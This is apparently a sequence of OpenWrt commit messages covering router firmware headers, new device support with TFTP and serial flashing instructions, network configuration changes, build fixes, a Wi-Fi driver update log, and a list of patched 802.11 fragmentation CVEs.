Zyxel TRX Image 1 --> Found! Header Checksum OK
============ZyXEL header information==================
chipId : MT7621A
boardId : NR7101
modelId : 07 01 00 01
kernel_len : (14177560)
kernelChksum : (0x8DD31F69)
swVersionInt : 1.00(ABUV.0)D1
swVersionExt : 1.00(ABUV.0)D1
Zyxel TRX Image 2 --> Found! Header Checksum OK
============ZyXEL header information==================
chipId : MT7621A
boardId : NR7101
modelId : 07 01 00 01
kernel_len : (14176660)
kernelChksum : (0x951A7637)
swVersionInt : 1.00(ABUV.0)D0
swVersionExt : 1.00(ABUV.0)D0
=================================================
Check image validation:
Image1 Header Magic Number --> OK
Image2 Header Magic Number --> OK
Image1 Header Checksum --> OK
Image2 Header Checksum --> OK
Image1 Data Checksum --> OK
Image2 Data Checksum --> OK
Image1 Stable Flag --> Stable
Image1 Try Counter --> 0
Image1: OK
Image2: OK
The coverage and algorithm for the kernelChksum field is unknown.
This field is not validated by the bootloader or the OEM firmware
upgrade tool. It is therefore set to a static value for now.
The swVersion fields contain free form string values. The OEM firmware
use ZyXEL structured version numbers as shown above. The strings are
not interpreted or validated on boot, so they can be repurposed for
anything we want the bootloader to display to the user. But the OEM
web GUI fails to flash images with freeform strings.
The purpose of the other strings in the header is not known. The
values appear to be static. We assume they are fixed for now, until
we have other examples. One of these strings is the platform name,
which is taken as an input parameter for support other members of
the device family.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Tested-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit 48cad07a55)
Make packages depending on usb-serial selective, so we do not have
to add kmod-usb-serial manually for every device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 9397b22df1)
Compile in MPT SAS driver required to mount rootfs on some VMWare
systems (e.g. required for 1&1 IONOS).
Signed-off-by: Mark Carroll <git@markcarroll.net>
(cherry picked from commit 8716dda074)
When support for Luma WRTQ-329ACN was added, the instructions for
flashing this device include using tools from uboot-envtools package.
Unfortunately the OpenWrt buildroot system omits packages from
DEVICE_PACKAGES when CONFIG_TARGET_MULTI_PROFILE,
CONFIG_TARGET_PER_DEVICE_ROOTFS, CONFIG_TARGET_ALL_PROFILES are set. In
result the official images are without tools mentioned in the
instruction. The workoround for the fashing would be installing
uboot-envtools when booted with initramfs image, but not always the
access to internet is available. The other method would be to issue the
necesary command in U-Boot environment but some serial terminals default
configuration don't work well with pasting lines longer than 80 chars.
Therefore add uboot-envtools to default packages, which adds really
small flash footprint to rootfs, where increased size usually is not an
issue.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
(cherry picked from commit 1984a6bbca)
LAN port 4 was swapped with the WAN port and the remaining three LAN
ports were numbered in reverse order from their labels on the case.
Fixes: 1a775a4fd0 ("ipq806x: add support for TP-Link Talon AD7200")
Signed-off-by: Alex Henrie <alexhenrie24@gmail.com>
(cherry picked from commit 6fb27e8e6d)
The removed patches were integrated upstream.
The brcmf_driver_work workqueue was removed in brcmfmac with kernel
5.10.42, the asynchronous call was covered to a synchronous call. There
is no need to wait any more.
This part was removed manually from this patch:
brcm/860-brcmfmac-register-wiphy-s-during-module_init.patch
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 04a260911c)
These two variables were missing in the definition of
DEFAULT_DEVICE_VARS which caused them to contain wrong values, messing
up the resulting JSON files.
This patch adds the two variables IMAGE_PREFIX and DEVICE_PACKAGES to
DEFAULT_DEVICE_VARS.
Suggested-by: Baptiste Jonglez <git@bitsofnetworks.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
Without that, after merging support to master, the device fails to boot
due to LZMA decompression error:
3: System Boot system code via Flash.
raspi_read: from:80000 len:40
. Image Name: MIPS OpenWrt Linux-5.4.99
Created: 2021-02-25 23:35:00 UTC
Image Type: MIPS Linux Kernel Image (lzma compressed)
Data Size: 1786664 Bytes = 1.7 MB
Load Address: 80000000
Entry Point: 80000000
raspi_read: from:80040 len:1b4328
............................ Verifying Checksum ... OK
Uncompressing Kernel Image ... LZMA ERROR 1 - must RESET board to recover
Use lzma-loader to fix it.
Fixes: 59d065c9f8 ("ramips: add support for ZTE MF283+")
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
(cherry picked from commit 410fb05b44)
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
ZTE MF283+ is a dual-antenna LTE category 4 router, based on Ralink
RT3352 SoC, and built-in ZTE P685M PCIe MiniCard LTE modem.
Hardware highlighs:
- CPU: MIPS24KEc at 400MHz,
- RAM: 64MB DDR2,
- Flash: 16MB SPI,
- Ethernet: 4 10/100M port switch with VLAN support,
- Wireless: Dual-stream 802.11n (RT2860), with two internal antennas,
- WWAN: Built-in ZTE P685M modem, with two internal antennas and two
switching SMA connectors for external antennas,
- FXS: Single ATA, with two connectors marked PHONE1 and PHONE2,
internally wired in parallel by 0-Ohm resistors, handled entirely by
internal WWAN modem.
- USB: internal miniPCIe slot for modem,
unpopulated USB A connector on PCB.
- SIM slot for the WWAN modem.
- UART connector for the console (unpopulated) at 3.3V,
pinout: 1: VCC, 2: TXD, 3: RXD, 4: GND,
settings: 57600-8-N-1.
- LEDs: Power (fixed), WLAN, WWAN (RGB),
phone (bicolor, controlled by modem), Signal,
4 link/act LEDs for LAN1-4.
- Buttons: WPS, reset.
Installation:
As the modem is, for most of the time, provided by carriers, there is no
possibility to flash through web interface, only built-in FOTA update
and TFTP recovery are supported.
There are two installation methods:
(1) Using serial console and initramfs-kernel - recommended, as it
allows you to back up original firmware, or
(2) Using TFTP recovery - does not require disassembly.
(1) Using serial console:
To install OpenWrt, one needs to disassemble the
router and flash it via TFTP by using serial console:
- Locate unpopulated 4-pin header on the top of the board, near buttons.
- Connect UART adapter to the connector. Use 3.3V voltage level only,
omit VCC connection. Pin 1 (VCC) is marked by square pad.
- Put your initramfs-kernel image in TFTP server directory.
- Power-up the device.
- Press "1" to load initramfs image to RAM.
- Enter IP address chosen for the device (defaults to 192.168.0.1).
- Enter TFTP server IP address (defaults to 192.168.0.22).
- Enter image filename as put inside TFTP server - something short,
like firmware.bin is recommended.
- Hit enter to load the image. U-boot will store above values in
persistent environment for next installation.
- If you ever might want to return to vendor firmware,
BACK UP CONTENTS OF YOUR FLASH NOW.
For this router, commonly used by mobile networks,
plain vendor images are not officially available.
To do so, copy contents of each /dev/mtd[0-3], "firmware" - mtd3 being the
most important, and copy them over network to your PC. But in case
anything goes wrong, PLEASE do back up ALL OF THEM.
- From under OpenWrt just booted, load the sysupgrade image to tmpfs,
and execute sysupgrade.
(2) Using TFTP recovery
- Set your host IP to 192.168.0.22 - for example using:
sudo ip addr add 192.168.0.22/24 dev <interface>
- Set up a TFTP server on your machine
- Put the sysupgrade image in TFTP server root named as 'root_uImage'
(no quotes), for example using tftpd:
cp openwrt-ramips-rt305x-zte_mf283plus-squashfs-sysupgrade.bin /srv/tftp/root_uImage
- Power on the router holding BOTH Reset and WPS buttons held for around
5 seconds, until after WWAN and Signal LEDs blink.
- Wait for OpenWrt to start booting up, this should take around a
minute.
Return to original firmware:
Here, again there are two possibilities are possible, just like for
installation:
(1) Using initramfs-kernel image and serial console
(2) Using TFTP recovery
(1) Using initramfs-kernel image and serial console
- Boot OpenWrt initramfs-kernel image via TFTP the same as for
installation.
- Copy over the backed up "firmware.bin" image of "mtd3" to /tmp/
- Use "mtd write /tmp/firmware.bin /dev/mtd3", where firmware.bin is
your backup taken before OpenWrt installation, and /dev/mtd3 is the
"firmware" partition.
(2) Using TFTP recovery
- Follow the same steps as for installation, but replacing 'root_uImage'
with firmware backup you took during installation, or by vendor
firmware obtained elsewhere.
A few quirks of the device, noted from my instance:
- Wired and wireless MAC addresses written in flash are the same,
despite being in separate locations.
- Power LED is hardwired to 3.3V, so there is no status LED per se, and
WLAN LED is controlled by WLAN driver, so I had to hijack 3G/4G LED
for status - original firmware also does this in bootup.
- FXS subsystem and its LED is controlled by the
modem, so it work independently of OpenWrt.
Tested to work even before OpenWrt booted.
I managed to open up modem's shell via ADB,
and found from its kernel logs, that FXS and its LED is indeed controlled
by modem.
- While finding LEDs, I had no GPL source drop from ZTE, so I had to probe for
each and every one of them manually, so this might not be complete -
it looks like bicolor LED is used for FXS, possibly to support
dual-ported variant in other device sharing the PCB.
- Flash performance is very low, despite enabling 50MHz clock and fast
read command, due to using 4k sectors throughout the target. I decided
to keep it at the moment, to avoid breaking existing devices - I
identified one potentially affected, should this be limited to under
4MB of Flash. The difference between sysupgrade durations is whopping
3min vs 8min, so this is worth pursuing.
In vendor firmware, WWAN LED behaviour is as follows, citing the manual:
- red - no registration,
- green - 3G,
- blue - 4G.
Blinking indicates activity, so netdev trigger mapped from wwan0 to blue:wwan
looks reasonable at the moment, for full replacement, a script similar to
"rssileds" would need to be developed.
Behaviour of "Signal LED" in vendor firmware is as follows:
- Off - no signal,
- Blinking - poor coverage
- Solid - good coverage.
A few more details on the built-in LTE modem:
Modem is not fully supported upstream in Linux - only two CDC ports
(DIAG and one for QMI) probe. I sent patches upstream to add required device
IDs for full support.
The mapping of USB functions is as follows:
- CDC (QCDM) - dedicated to comunicating with proprietary Qualcomm tools.
- CDC (PCUI) - not supported by upstream 'option' driver yet. Patch
submitted upstream.
- CDC (Modem) - Exactly the same as above
- QMI - A patch is sent upstream to add device ID, with that in place,
uqmi did connect successfully, once I selected correct PDP context
type for my SIM (IPv4-only, not default IPv4v6).
- ADB - self-explanatory, one can access the ADB shell with a device ID
added to 51-android.rules like so:
SUBSYSTEM!="usb", GOTO="android_usb_rules_end"
LABEL="android_usb_rules_begin"
SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", ATTR{idProduct}=="1275", ENV{adb_user}="yes"
ENV{adb_user}=="yes", MODE="0660", GROUP="plugdev", TAG+="uaccess"
LABEL="android_usb_rules_end"
While not really needed in OpenWrt, it might come useful if one decides to
move the modem to their PC to hack it further, insides seem to be pretty
interesting. ADB also works well from within OpenWrt without that. O
course it isn't needed for normal operation, so I left it out of
DEVICE_PACKAGES.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[remove kmod-usb-ledtrig-usbport, take merged upstream patches]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 59d065c9f8)
[Manually remove no longer needed patches for modem]
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
Removed because in upstream
generic/pending-5.4/770-02-net-ethernet-mtk_eth_soc-fix-rx-vlan-offload.patch
All others updated automatically.
Runtime-tested on bcm27xx/bcm2711.
Fixes: FS#3085
Signed-off-by: Kuan-Yi Li <kyli@abysm.org>
When building for MikroTik devices the kernel2minor tool will sometimes
fail with:
Can't get lstat from kernel file!: No such file or directory.
This is because kernel2minor expects paths no longer than 250 chars.
To work around this the include/image-commands.mk has been modified
to copy the kernel to a temporary file (/tmp/tmp.XXXXXXXXXX) before
calling kernel2minor.
Signed-off-by: François Chavant <francois@chavant.info>
(cherry picked from commit 5a9608102b)
1. Move code above interface generation
It results in more logical order. Device gets its config section
above interface section.
2. Drop the loop
We have separated code handling bridges now so $device should be
guaranteed to contain a single device name.
3. Drop section name
It's not required by netifd or LuCI & it's not needed by this script
as $device contains a single device name now.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit e002179a6d)
The underlying logread process uses usock() to handle remote connections
which is able to handle both hostnames and IP addresses.
Ref: https://github.com/openwrt/luci/issues/5077
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
(cherry picked from commit ec83fb9ced)
Replace "ifname" with "device" as netifd has been recently patches to
used the later one. It's more clear and accurate.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 4b9a67362d)
After the commit 43fc720657
("base-files: generate "device UCI type section for bridge"), the wrong
network configuration is generated for the devices that already have the
bridge device section for VLAN, such as the devices in realtek target.
As a result, the bridge device by additional "device" section is
specified to the "ports" option in the "bridge-vlan" section and netifd
shuts down the switch and the ethernet when the network service started.
Fixes: 43fc720657 ("base-files: generate "device" UCI type section for bridge")
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[rmilecki: use $ports for generate_bridge_vlan argument]
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 8cc4e87a2f)
Missing br- prefix could result in name conflict between DSA port
interface and bridge interface. Some devices with just one LAN port use
"lan" interface name for DSA port. Trying to create bridge with the same
"lan" name was failing.
Reported-by: David Bauer <mail@david-bauer.net>
Fixes: 43fc720657 ("base-files: generate "device" UCI type section for bridge")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 0e459668c5)
This switches from the old way of defining bridges in an "interface" UCI
section type (that should be used for layer 3 only). From now a defualt
board switch will have its own "device" UCI section type. It's a new &
preferred way of defining L2 devices.
Before:
config interface 'lan'
option type 'bridge'
option ifname 'lan1 lan2 lan3 lan4'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
After:
config device
option name 'lan'
option type 'bridge'
list ports 'lan1'
list ports 'lan2'
list ports 'lan3'
list ports 'lan4'
config interface 'lan'
option ifname 'lan'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 43fc720657)
On login busybox shows a timestamp per default contianing the build
date. Since the build date isn't reproducible per default this behaviour
was disabled by default via 34df4d40 "busybox: disable timestamp in
version".
This commit modifies busybox so that the printed timestamp reproducible
using SOURCE_DATE_EPOCH and therefore shouldn't be disabled anymore.
Before:
BusyBox v1.33.1 () built-in shell (ash)
After:
BusyBox v1.33.1 (2021-05-13 09:34:34 UTC) built-in shell (ash)
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit a725382978)
use AUTORELEASE since BusyBox is often updaten and PKG_RELEASE is not
consistently bumped. Also use SPDX license headers to be machine
readable and bump the copyright year to 2021.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 25fdb42249)
Various report and data show that the freq 384000 is too low and cause some
extra latency to the entire system. OEM qsdk code also set the min frequency
for this target to 800 mhz.
Also some user notice some instability with this idle frequency, solved by
setting the min frequency to 600mhz. Fix all these kind of problem by
introducing a boot init.d script that set the min frequency to 600mhz and set
the ondemand governor to be more aggressive. The script set these value only if
the ondemand governor is detected. 384 mhz freq is still available and user can
decide to restore the old behavior by disabling this script.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
(cherry picked from commit 861b82d36a)
Previously, build would fail for targets containing devices with not
initramfs image (such as mpc85xx-p1010). Only generate the JSON image
info for the initramfs image when we have one to avoid breaking the
builds.
Fixes commit d3140d0529 ("build/json: generate json file for initramfs")
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit 512229ce49)
The initramfs images are missing from the profiles.json files.
Signed-off-by: Moritz Warning <moritzwarning@web.de>
[fix code by exporting device variables]
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit d3140d0529)
899c2a4 interface: support "device" attribute and deprecate "ifname"
62e3cb5 scripts/netifd-wireless.sh: add support for specifying the operating band
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 5fe549836f)
02dd2f2df7cb fix unannotated fall-through warnings
3052f2f67686 extdev: remove unused function
2a97fd006c3b device: add support for configuring devices with external auth handler
87e469be0c08 wireless: fix memory corruption bug when using vlans/station entries in the config
7277764bf817 bridge: rename "ifname" attribute to "ports"
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry picked from commit 829b5c2ba3)
Placeholder DHCP user scripts were added recently.
These files make package-based installations of such scripts more difficult.
Pull user callbacks from directories instead to allow packages and users to
install co-existing scripts more easily.
References:
130118f7a netifd: add a udhcpc.user placeholder script
Signed-off-by: Leon M. George <leon@georgemail.eu>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
(cherry picked from commit 467c32600c)
f8899b9 netifd: bridge: set default value for igmp_snoop
327da98 netifd: add possibility to switch off route config
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit b974293efa)
Document the existence of this feature. This allows the user to execute a script
at each DHCPv4 event. This is useful, for example, as an ad-hoc way to update a
DDNS entry when (and only when) required.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
(cherry picked from commit 130118f7aa)
2e52c7e libubox: fix BLOBMSG_CAST_INT64 (do not override BLOBMSG_TYPE_DOUBLE)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit c82cc4407a)
Bridge aggregates multiple ports so use a more accurate name ("ports")
and format (array) for storing them in board.json.
Example:
"network": {
"lan": {
"ports": [
"lan1",
"lan2",
"lan3",
"lan4"
],
"protocol": "static"
},
"wan": {
"ifname": "wan",
"protocol": "dhcp"
}
}
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit d42640e389)
This marks all packages which depend on a target with @TARGET nonshared.
If they are not marked nonshared they would be build by the SDK build
and if this happens with a different SDK, then the SDK from the target
the package depends on, the package would not be added to the index.
This should fix the image builder for some of these packages.
This should fix the image builder at least for bcm27xx/bcm2710 and
bcm4908/generic.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 1903233f2b)
Prevent build error on Alpine Linux host:
libfakeroot.c error: conflicting types for 'id_t'
Error relocating openwrt/staging_dir/host/lib/libfakeroot.so: SEND_GET_XATTR: symbol not found
Signed-off-by: Ruslan Isaev <legale.legale@gmail.com>
(cherry picked from commit 7a70f78fb7)
Use an 'if' so the absence of $(LINUX_DIR)/user_headers doesn't make the
line evaluate to false and cause the build to fail.
Signed-off-by: Matt Merhar <mattmerhar@protonmail.com>
(cherry picked from commit cc76e34c10)
This adjusts the Makefile to use the new option to turn off the
doc builds. It will not cause any problems except a warning
about unused options if combined with a ccache source missing
the upstream patch.
Since a config setting is required to re-enable the doc build this
is equivalent to unconditionally disabling the docs if the config
setting is not created.
Signed-off-by: David Adair <djabhead@aol.com>
(cherry picked from commit 2d15468323)
The higher 16-bit of EEE register was overwritten by mistake, fix that.
Fixes: 5b9ba4a93e ("generic: mt7530: support adjusting EEE")
Signed-off-by: DENG Qingfang <dqfext@gmail.com>
(cherry picked from commit 8d1567ba61)
Rid of kernel error message:
[ 0.780828] orion-mdio d0072004.mdio: IRQ index 0 not found
on Marvell targets backporting the kernel commit fa2632f74e57
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
(cherry picked from commit d683175236)
The patch 434-nand-brcmnand-fix-OOB-R-W-with-Hamming-ECC.patch is
integrated in the kernel update 5.4.119 and not needed any more.
Fixes: 9d21eccc6b ("kernel: bump 5.4 to 5.4.119")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
6a6011d uclient-http: set eof mark when content-length is 0
19571e4 tests: fix help usage test for uclient built with sanitizer
c5fc04b tests: fix help usage test
Signed-off-by: Baptiste Jonglez <git@bitsofnetworks.org>
(cherry picked from commit 1ec6fc4dcb)
PREFER_IPV4_ADDRESS is broken on IPv6-only hosts, as it causes busybox
utilities (ping, traceroute, ntpd) to forcibly use the A record instead of
the AAAA record when resolving a DNS name. This obviously fails when
there is no IPv4 connectivity. Since IPv6-only hosts or routers will only
become more common over time, disable PREFER_IPV4_ADDRESS to support this
use-case.
As a side-effect, disabling PREFER_IPV4_ADDRESS changes the default
resolution behaviour of busybox utilities on dual-stack hosts. Busybox
utilities now simply use the order given by getaddrinfo(), so they will
now prefer IPv6 addresses when resolving a name with both A and AAAA
records if there is IPv6 connectivity. This is in line with RFC 6724.
PREFER_IPV4_ADDRESS was likely intended to work around naive
implementations of getaddrinfo() that could return AAAA records first,
even on an IPv4-only host. But both musl (since 1.1.3) and glibc
correctly implement RFC 6724 for getaddrinfo() and check connectivity to
determine the correct order in which to return records. On IPv4-only
hosts, getaddrinfo() will return A records first, so there is no need for
the PREFER_IPV4_ADDRESS hack.
See also: https://bugs.busybox.net/show_bug.cgi?id=12381
Fixes: FS#84
Fixes: FS#2608
References: https://github.com/openwrt/openwrt/pull/4167
Signed-off-by: Alexander Traud <pabstraud@compuserve.com>
Signed-off-by: Baptiste Jonglez <git@bitsofnetworks.org>
(cherry picked from commit 7fea9d9f5d)
Instead of adding all public signature keys from the openwrt-keyring
repository only add the key which is used to sign the OpenWrt 21.02 feeds.
If one of the other keys would be compromised this would not affect
users of 21.02 release builds.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Vendor firmware expects model name without manufacturer name inside
'supported_devices' part of metadata. This allows direct upgrade to
OpenWrt from vendor's GUI.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
(cherry picked from commit cf3f1f82ea)
2be57ed cosmetics: provide compatible system info on Aarch64
37eed13 system: expose if system was booted from initramfs
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry-picked from commit 5f1bd95278)
Includes fix for CVE-2020-24588
186af01047b2 mt76: mt7921: introduce MCU_EVENT_LP_INFO event parsing
93b5c28c97d5 mt76: mt7921: add rcu section in mt7921_mcu_tx_rate_report
a8e89c5a1d1f mt76: testmode: add support to send larger packet
a0cc9a9e3877 mt76: mt7915: rework mt7915_tm_set_tx_len()
c8b96630324e mt76: mt7915: fix rate setting of tx descriptor in testmode
22fd2958c42a mt76: mt7615: fix memleak when mt7615_unregister_device()
7401e0db3143 mt76: mt7915: fix memleak when mt7915_unregister_device()
c3656268b3f6 mt76: mt7915: only free skbs after mt7915_dma_reset() when reset happens
0ce955b04ba8 mt76: mt7615: only free skbs after mt7615_dma_reset() when reset happens
b03d1e62acf7 mt76: mt7615: use ieee80211_free_txskb() in mt7615_tx_token_put()
5ac02e22fb03 mt76: flush tx status queue on DMA reset
c71f609b398a mt76: sync with upstream changes
23ecadd4af77 mt76: mt7615: fix hardware error recovery for mt7663
57a899ee3c3c mt76: mt7615: fix entering driver-own state on mt7663
42a2dddb706b mt76: mt7615: load ROM patch before checking patch semaphore status
cf0e406af84a mt76: mt7915: add support for applying pre-calibration data
459940ccbc58 mt76: mt7921: move hw configuration in mt7921_register_device
0a094b11f3c0 mt76: improve mcu error logging
bf536832e37d mt76: mt7921: run mt7921_mcu_fw_log_2_host holding mt76 mutex
7616f4f78163 mt76: mt7921: add wifisys reset support in debugfs
e620bd881ef5 mt76: mt7921: abort uncompleted scan by wifi reset
e8dacf59ab1c mt76: mt7915: rework the flow of txpower setting
c8c78e577236 mt76: mt7915: directly read per-rate tx power from registers
1622bf4f8705 mt76: mt7921: add mt7921_dma_cleanup in mt7921_unregister_device
ef96fafad8a9 mt76: Convert to DEFINE_SHOW_ATTRIBUTE
90e4bfea2948 mt76: mt7921: do not use 0 as NULL pointer
0a139d7f5966 mt76: connac: move mcu_update_arp_filter in mt76_connac module
de26c73ce3c2 mt76: mt7921: remove leftover function declaration
1c0b6cb4f942 mt76: mt7921: fix a race between mt7921_mcu_drv_pmctrl and mt7921_mcu_fw_pmctrl
2923e3e2b8e4 mt76: mt7663: fix a race between mt7615_mcu_drv_pmctrl and mt7615_mcu_fw_pmctrl
74d0fdaa7a99 mt76: connac: introduce wake counter for fw_pmctrl synchronization
28c87e09a5ea mt76: mt7921: rely on mt76_connac_pm_ref/mt76_connac_pm_unref in tx path
36f664edc7db mt76: mt7663: rely on mt76_connac_pm_ref/mt76_connac_pm_unref in tx path
51b3d1a9a2b7 mt76: dma: add the capability to define a custom rx napi poll routine
4f1339c9fb72 mt76: mt7921: rely on mt76_connac_pm_ref/mt76_connac_pm_unref in tx/rx napi
1bc5e67a60be mt76: mt7663: rely on mt76_connac_pm_ref/mt76_connac_pm_unref in tx/rx napi
325f7b451c03 mt76: connac: unschedule ps_work in mt76_connac_pm_wake
12115052a02f mt76: connac: check wake refcount in mcu_fw_pmctrl
e5d28e3cef66 mt76: connac: remove MT76_STATE_PM in mac_tx_free
475112a3cdcc mt76: mt7921: get rid of useless MT76_STATE_PM in mt7921_mac_work
112998f32d85 mt76: connac: alaways wake the device before scanning
4334f3e2fc43 mt76: mt7615: rely on pm refcounting in mt7615_led_set_config
0562380659ad mt76: connac: do not run mt76_txq_schedule_all directly
acfa78df5708 mt76: connac: use waitqueue for runtime-pm
ca74a4cd0722 mt76: remove MT76_STATE_PM in tx path
0c2d3e74852e mt76: mt7921: add awake and doze time accounting
45e0eefffe9f mt76: mt7921: enable sw interrupts
fd2ff641166f mt76: mt7615: Fix a dereference of pointer sta before it is null checked
7e2521468767 mt76: mt7921: move mt7921_dma_reset in dma.c
c9dd6b1fa171 mt76: mt7921: introduce mt7921_wpdma_reset utility routine
2ac7c7e9c568 mt76: mt7921: introduce mt7921_dma_{enable,disable} utilities
662a89f2b9d1 mt76: mt7921: introduce mt7921_wpdma_reinit_cond utility routine
614efe9e9180 mt76: connac: introduce mt76_connac_mcu_set_deep_sleep utility
0dbb16ef39d8 mt76: mt7921: enable deep sleep when the device suspends
3c19f569cc70 mt76: mt7921: fix possible invalid register access
ade1f5aad4c6 mt76: move token_lock, token and token_count in mt76_dev
8d5c456be1ff mt76: move token utilities in mt76 common module
fb04d9df5e52 mt76: mt7915: do not read rf value from efuse in flash mode
2126b2176336 mt76: mt7921: get rid of mcu_reset function pointer
d325b7eff1b1 mt76: mt7921: improve doze opportunity
2ae25c7e547e mt76: mt7663: add awake and doze time accounting
349bbb9d6f13 mt76: connac: unschedule mac_work before going to sleep
98a235004dea mt76: mt7921: mt7921_stop should put device in fw_own state
63d80b9ab251 mt76: mt7921: introduce mt7921_mcu_sta_add routine
3c5bf837fdbd mt76: mt7615: fix a precision vs width bug in printk
ded14da5eacc mt76: mt7915: fix a precision vs width bug in printk
aaf0d254f9ea mt76: mt7921: fix a precision vs width bug in printk
757af5c67d32 mt76: move mt76_token_init in mt76_alloc_device
ed41ed73a495 mt76: mt7921: reinit wpdma during drv_own if necessary
92fb81e085c6 mt76: mt7921: fix possible AOOB issue in mt7921_mcu_tx_rate_report
53d915a23bc9 mt76: connac: do not schedule wake_work if the runtime-pm is disabled
23fe1bdcf15a mt76: connac: do not schedule mac_work if the device is not running
e5b19336c58e mt76: mt7615: do not set MT76_STATE_PM at bootstrap
0fc2136a61dd mt76_connac_mcu: move mt76_connac_mcu_update_arp_filter outside of CONFIG_PM
e693f3e23e06 mt76: mt7915: add MSI support
5231e7300fa4 mt7915: disable ASPM
554b50dabf54 mt76: connac: fix uninitialized HT A-MPDU setting field in STA_REC_PHY
43b9c0a838bb mt76: mt7921: fix max aggregation subframes setting
5a387a0a3004 mt76: mt7921: enable rx hw de-amsdu
c8cbcb87be07 mt76: connac: add missing configuration in mt76_connac_mcu_wtbl_hdr_trans_tlv
55921e57b380 mt76: mt7921: enable rx header traslation offload
01441f67d8b2 mt76: mt7921: enable rx csum offload
c9ab76dd93a0 mt76: mt7915: move mt7915_queue_rx_skb to mac.c
caedb4c4ee41 mt76: mt7615: fix fixed-rate tx status reporting
c6ae95d43e6d mt76: improve tx status codepath
27d468d094e6 mt76: mt7915: rework tx rate reporting
3b4ca5b09e2c mt76: mt7615: avoid use of ieee80211_tx_info_clear_status
e1f07d7f1cb9 mt76: mt7603: avoid use of ieee80211_tx_info_clear_status
18513ba5fbc2 mt76: mt7915: add support for tx status reporting
35f189cf81b2 mt76: mt7915: fix uninitialized variable in MSI error handling
9e928ac1ea9b mt76: dma: use ieee80211_tx_status_ext to free packets when tx fails
628eee9c386c mt76: fill queue entry wcid for all skbs with a station
a9bc4d94b7a1 mt76: intialize tx queue entry wcid to 0xffff by default
998ca8af7d17 mt76: mt7915: fix tssi indication field of DBDC NICs
7dd24b3cfacf mt76: mt7915: fix a signedness bug in mt7915_mcu_apply_tx_dpd()
535025d65d8d mt76: mt7915: cleanup mt7915_mcu_sta_rate_ctrl_tlv()
ff8bbe22dd87 mt76: mt7915: add .set_bitrate_mask() callback
c7dd54a22e30 mt76: connac: skip wtbl reset on sta disconnect
3511fd430356 mt76: validate rx A-MSDU subframes
aedc3145de6e mt76: fix possible NULL pointer dereference in mt76_tx
5c2baab92cd0 mt76: mt7615: fix NULL pointer dereference in tx_prepare_skb()
af21659ee834 mt76: mt76x0: use dev_debug instead of dev_err for hw_rf_ctrl
e423c16f16f7 mt76: mt7615: free irq if mt7615_mmio_probe fails
f2d0da8da9b7 mt76: mt7663: enable hw rx header translation
d2713a5d9de9 mt76: mt7921: fix mt7921_wfsys_reset sequence
ce5f32d84f33 mt76: mt7921: Don't alter Rx path classifier
8ab8c7747197 mt76: connac: fw_own rely on all packet memory all being free
a747b0bb4956 mt76: mt7921: enable deep sleep at runtime
2e6e999509b1 mt76: mt7921: add deep sleep control to runtime-pm knob
30bcb2338ce2 mt76: connac: fix WoW with disconnetion and bitmap pattern
56518f4a126e mt76: mt7921: consider the invalid value for to_rssi
e969ab10a034 mt76: mt7921: add back connection monitor support
28b162366d09 mt76: fix calling mt76_get_of_eeprom with an offset for pre-cal data
9d736545bb5a mt76: mt7915: disable pre-calibration support for now
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit f62aa9e781)
From the patch series description:
Several security issues in the 802.11 implementations were found by
Mathy Vanhoef (New York University Abu Dhabi), who has published all
the details at
https://papers.mathyvanhoef.com/usenix2021.pdf
Specifically, the following CVEs were assigned:
* CVE-2020-24586 - Fragmentation cache not cleared on reconnection
* CVE-2020-24587 - Reassembling fragments encrypted under different
keys
* CVE-2020-24588 - Accepting non-SPP A-MSDU frames, which leads to
payload being parsed as an L2 frame under an
A-MSDU bit toggling attack
* CVE-2020-26139 - Forwarding EAPOL from unauthenticated sender
* CVE-2020-26140 - Accepting plaintext data frames in protected
networks
* CVE-2020-26141 - Not verifying TKIP MIC of fragmented frames
* CVE-2020-26142 - Processing fragmented frames as full frames
* CVE-2020-26143 - Accepting fragmented plaintext frames in
protected networks
